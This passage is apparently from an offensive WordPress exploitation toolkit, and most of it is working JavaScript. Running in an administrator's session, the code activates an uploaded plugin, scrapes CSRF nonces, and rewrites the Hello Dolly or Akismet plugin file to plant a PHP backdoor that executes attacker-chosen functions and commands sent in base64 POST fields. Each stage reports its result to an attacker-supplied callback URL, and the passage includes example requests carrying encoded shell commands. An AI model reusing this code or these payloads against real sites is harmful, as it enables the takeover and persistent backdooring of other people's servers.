"Date": new Date().toUTCString()
}
)
);
}
// Activate the Plugin
var _stage3 = new XMLHttpRequest();
_stage3.open("GET", Target + "wp-admin/plugins.php?action=activate&plugin=" + decodeURIComponent(Plugin) + "&_wpnonce=" + csrf_token2, false);
_stage3.send();
if (_stage3.responseText.match("Plugin <strong>activated</strong>")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugins.php?action=activate&plugin=" + decodeURIComponent(Plugin) + "&_wpnonce=" + csrf_token2,
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[Sucessful] Stage 3 - Plugin: " + decodeURIComponent(Plugin) + " has been Successfully Activated!",
"About": [
"If you're using the default WPAnalytics Plugin embedded in the exploit, you can activate the backdoor functionality by accessing any WordPress endpoint.",
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
"",
"POST / HTTP/2",
"Host: localhost",
"Content-Type: application/x-www-form-urlencoded",
"[\r\n]",
"K189mD2j=cGFzc3RocnU=&OGa93dka=aWQ7dW5hbWUgLWE7aXAgYTtscyAtYWxo",
""
],
"Date": new Date().toUTCString()
}
)
);
}
}
} else {
if (Callback) {
var _xcallback = new XMLHttpRequest();
_xcallback.open("POST", Callback, true);
_xcallback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/update.php?action=upload-plugin",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[UNKNOWN ERROR] Stage 2 - (Cannot Upload the Plugin: " + Plugin + ".)",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage2.responseText)
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugin-install.php",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[ERROR] Stage 1 - (Cannot GET CSRF_TOKEN)",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage1.responseText)
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugin-install.php",
"Module": "WPUploadCustomPlugin.WPXUploadCustomPlugin()",
"Message": "[ERROR] Stage 1 - (Unable to retrieve server response.)",
"Date": new Date().toUTCString(),
}
)
);
}
}
}
}
function WPEditPlugins() {
// ************************************ ~% WPEditPlugins Modules %~ ************************************ //
// [#] Choose one of the available modules [#] //
// WPXEditPlugins(); // Wordpress Edit Plugin Module for Wordpress 6.X.X, 5.X.X and 4.X.X.
/* ************************************************************************************************************************************************ */
// Wordpress Edit Plugin Module for Wordpress 6.X.X, 5.X.X and 4.X.X.
function WPXEditPlugins() {
/* ************************************************************************************************************************************************ */
// do not use "<?php" or "?>", your payload is already inside a php tag.
var payload = `
$callback = base64_decode($_POST['K189mD2j']); // Change This
$code = base64_decode($_POST['OGa93dka']); // Change This
if(isset($callback) && $callback != "") {
if($callback === "phpinfo") phpinfo();
}
if(isset($code) && $code != "") $callback($code);
`;
/* ************************************************************************************************************************************************ */
// ************************************ ~% WPXEditPlugins Modules %~ ************************************ //
// [#] Choose one of the available Plugins [#] //
// HelloDolly(); // Wordpress 6.X.X, 5.X.X and 4.X.X (Hello Dolly) Plugin. - <working>
// AkismetAntiSpam(); // Wordpress 6.X.X, 5.X.X and 4.X.X (Akismet Anti-Spam) Plugin. - <not working?> PS: Generally, when accessing any files from the Akismet Anti-Spam plugin, the status code "403 Forbidden" is returned, and it is not possible to trigger the backdoor, use the "Hello Dolly" module plugin instead!.
/* ************************************************************************************************************************************************ */
// Wordpress 6.X.X, 5.X.X and 4.X.X (Hello Dolly) Plugin.
function HelloDolly() {
if (Target.substr(-1) != '/') Target += '/';
var _stage1 = new XMLHttpRequest();
_stage1.open("GET", Target + "wp-admin/plugin-editor.php?plugin=hello.php&Submit=Select", false);
_stage1.send();
if (_stage1.responseText) {
var csrf_token = _stage1.responseText.match(/<input[^>]*name="nonce"[^>]*value="([^"]+)"/)[1];
if (csrf_token) {
var _stage2 = new XMLHttpRequest();
_stage2.open("POST", Target + "wp-admin/admin-ajax.php", false);
_stage2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
_stage2.send("nonce=" + csrf_token +
"&_wp_http_referer=" + encodeURIComponent("/wp-admin/plugin-editor.php?plugin=hello.php&Submit=Select") +
"&newcontent=%3C%3Fphp%0A%2F**%0A+*+%40package+Hello_Dolly%0A+*+%40version+1.7.2%0A+*%2F%0A%2F*%0APlugin+Name%3A+Hello+Dolly%0APlugin+URI%3A+http%3A%2F%2Fwordpress.org%2Fplugins%2Fhello-dolly%2F%0ADescription%3A+This+is+not+just+a+plugin%2C+it+symbolizes+the+hope+and+enthusiasm+of+an+entire+generation+summed+up+in+two+words+sung+most+famously+by+Louis+Armstrong%3A+Hello%2C+Dolly.+When+activated+you+will+randomly+see+a+lyric+from+%3Ccite%3EHello%2C+Dolly%3C%2Fcite%3E+in+the+upper+right+of+your+admin+screen+on+every+page.%0AAuthor%3A+Matt+Mullenweg%0AVersion%3A+1.7.2%0AAuthor+URI%3A+http%3A%2F%2Fma.tt%2F%0A*%2F%0A%0Afunction+hello_dolly_get_lyric()+%7B%0A%09%2F**+These+are+the+lyrics+to+Hello+Dolly+*%2F%0A%09%24lyrics+%3D+%22Hello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+take+her+wrap%2C+fellas%0ADolly%2C+never+go+away+again%0AHello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+golly%2C+gee%2C+fellas%0AHave+a+little+faith+in+me%2C+fellas%0ADolly%2C+never+go+away%0APromise%2C+you'll+never+go+away%0ADolly'll+never+go+away+again%22%3B%0A%0A%09%2F%2F+Here+we+split+it+into+lines.%0A%09%24lyrics+%3D+explode(+%22%5Cn%22%2C+%24lyrics+)%3B%0A%0A%09%2F%2F+And+then+randomly+choose+a+line.%0A%09return+wptexturize(+%24lyrics%5B+mt_rand(+0%2C+count(+%24lyrics+)+-+1+)+%5D+)%3B%0A%7D%0A%0A%09" +
encodeURIComponent(payload) +
"%0A%0A%2F%2F+This+just+echoes+the+chosen+line%2C+we'll+position+it+later.%0Afunction+hello_dolly()+%7B%0A%09%24chosen+%3D+hello_dolly_get_lyric()%3B%0A%09%24lang+++%3D+''%3B%0A%09if+(+'en_'+!%3D%3D+substr(+get_user_locale()%2C+0%2C+3+)+)+%7B%0A%09%09%24lang+%3D+'+lang%3D%22en%22'%3B%0A%09%7D%0A%0A%09printf(%0A%09%09'%3Cp+id%3D%22dolly%22%3E%3Cspan+class%3D%22screen-reader-text%22%3E%25s+%3C%2Fspan%3E%3Cspan+dir%3D%22ltr%22%25s%3E%25s%3C%2Fspan%3E%3C%2Fp%3E'%2C%0A%09%09__(+'Quote+from+Hello+Dolly+song%2C+by+Jerry+Herman%3A'+)%2C%0A%09%09%24lang%2C%0A%09%09%24chosen%0A%09)%3B%0A%7D%0A%0A%2F%2F+Now+we+set+that+function+up+to+execute+when+the+admin_notices+action+is+called.%0Aadd_action(+'admin_notices'%2C+'hello_dolly'+)%3B%0A%0A%2F%2F+We+need+some+CSS+to+position+the+paragraph.%0Afunction+dolly_css()+%7B%0A%09echo+%22%0A%09%3Cstyle+type%3D'text%2Fcss'%3E%0A%09%23dolly+%7B%0A%09%09float%3A+right%3B%0A%09%09padding%3A+5px+10px%3B%0A%09%09margin%3A+0%3B%0A%09%09font-size%3A+12px%3B%0A%09%09line-height%3A+1.6666%3B%0A%09%7D%0A%09.rtl+%23dolly+%7B%0A%09%09float%3A+left%3B%0A%09%7D%0A%09.block-editor-page+%23dolly+%7B%0A%09%09display%3A+none%3B%0A%09%7D%0A%09%40media+screen+and+(max-width%3A+782px)+%7B%0A%09%09%23dolly%2C%0A%09%09.rtl+%23dolly+%7B%0A%09%09%09float%3A+none%3B%0A%09%09%09padding-left%3A+0%3B%0A%09%09%09padding-right%3A+0%3B%0A%09%09%7D%0A%09%7D%0A%09%3C%2Fstyle%3E%0A%09%22%3B%0A%7D%0A%0Aadd_action(+'admin_head'%2C+'dolly_css'+)%3B%0A" +
"&action=edit-theme-plugin-file&file=hello.php&plugin=hello.php&docs-list="
);
if (_stage2.responseText.match("File edited successfully")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/admin-ajax.php",
"Module": "WPEditPlugins.WPXEditPlugins.HelloDolly()",
"Message": "[Sucessful] Stage 2 - Plugin: Hello Dolly has been Successfully Edited!",
"About": [
"If you're using the default backdoor embedded in the exploit, you can activate the backdoor functionality by accessing the Hello Dolly endpoint: " + Target + "wp-content/plugins/hello.php",
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
"",
"# HTTP Request Example #",
"POST /wp-content/plugins/hello.php HTTP/2",
"Host: localhost",
"Content-Type: application/x-www-form-urlencoded",
"[\r\n]",
"K189mD2j=cGFzc3RocnU=&OGa93dka=aWQ7dW5hbWUgLWE7aXAgYTtscyAtYWxo",
""
],
"Date": new Date().toUTCString()
}
)
);
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/admin-ajax.php",
"Module": "WPEditPlugins.WPXEditPlugins.HelloDolly()",
"Message": "[ERROR] Stage 2 - Unable to Edit (Hello Dolly) Plugin",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage2.responseText)
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/admin-ajax.php",
"Module": "WPEditPlugins.WPXEditPlugins.HelloDolly()",
"Message": "[ERROR] Stage 1 - (Cannot GET CSRF_TOKEN)",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage1.responseText)
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/plugin-editor.php?plugin=hello.php&Submit=Select",
"Module": "WPEditPlugins.WPXEditPlugins.HelloDolly()",
"Message": "[ERROR] Stage 1 - (Unable to retrieve server response.)",
"Date": new Date().toUTCString()
}
)
);
}
}
}
// Wordpress 6.X.X, 5.X.X and 4.X.X (Akismet Anti-Spam) Plugin.
function AkismetAntiSpam() {
if (Target.substr(-1) != '/') Target += '/';
var _stage1 = new XMLHttpRequest();
_stage1.open("GET", Target + "wp-admin/plugin-editor.php?file=akismet%2Findex.php&plugin=akismet%2Fakismet.php", false);
_stage1.send();
if (_stage1.responseText) {
var csrf_token = _stage1.responseText.match(/<input[^>]*name="nonce"[^>]*value="([^"]+)"/)[1];
if (csrf_token) {
var _stage2 = new XMLHttpRequest();
_stage2.open("POST", Target + "wp-admin/admin-ajax.php", false);
_stage2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
_stage2.send("nonce=" + csrf_token +
"&_wp_http_referer=%2Fwp-admin%2Fplugin-editor.php%3Ffile%3Dakismet%252Findex.php%26plugin%3Dakismet%252Fakismet.php&newcontent=%3C%3Fphp%0A%" +
encodeURIComponent(payload) +
"&action=edit-theme-plugin-file&file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
);
if (_stage2.responseText.match("File edited successfully")) {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/admin-ajax.php",
"Module": "WPEditPlugins.WPXEditPlugins.AkismetAntiSpam()",
"Message": "[Sucessful] Stage 2 - Plugin: Akismet Anti-Spam has been Successfully Edited!",
"About": [
"If you're using the default backdoor embedded in the exploit, you can activate the backdoor functionality by accessing the Akismet endpoint: " + Target + "wp-content/plugins/akismet/index.php",
"To see examples, check: https://github.com/nowak0x01/WPXStrike",
"",
"# HTTP Request Example #",
"POST /wp-content/plugins/akismet/index.php HTTP/2",
"Host: localhost",
"Content-Type: application/x-www-form-urlencoded",
"[\r\n]",
"K189mD2j=cGFzc3RocnU=&OGa93dka=aWQ7dW5hbWUgLWE7aXAgYTtscyAtYWxo",
""
],
"Date": new Date().toUTCString()
}
)
);
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/admin-ajax.php",
"Module": "WPEditPlugins.WPXEditPlugins.AkismetAntiSpam()",
"Message": "[ERROR] Stage 2 - Unable to Edit (Akismet Anti-Spam) Plugin",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage2.responseText)
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{
"Host": Target + "wp-admin/admin-ajax.php",
"Module": "WPEditPlugins.WPXEditPlugins.AkismetAntiSpam()",
"Message": "[ERROR] Stage 1 - (Cannot GET CSRF_TOKEN)",
"Date": new Date().toUTCString(),
"About": encodeURIComponent(_stage1.responseText)
}
)
);
}
}
} else {
if (Callback) {
var _callback = new XMLHttpRequest();
_callback.open("POST", Callback, true);
_callback.send(
JSON.stringify(
{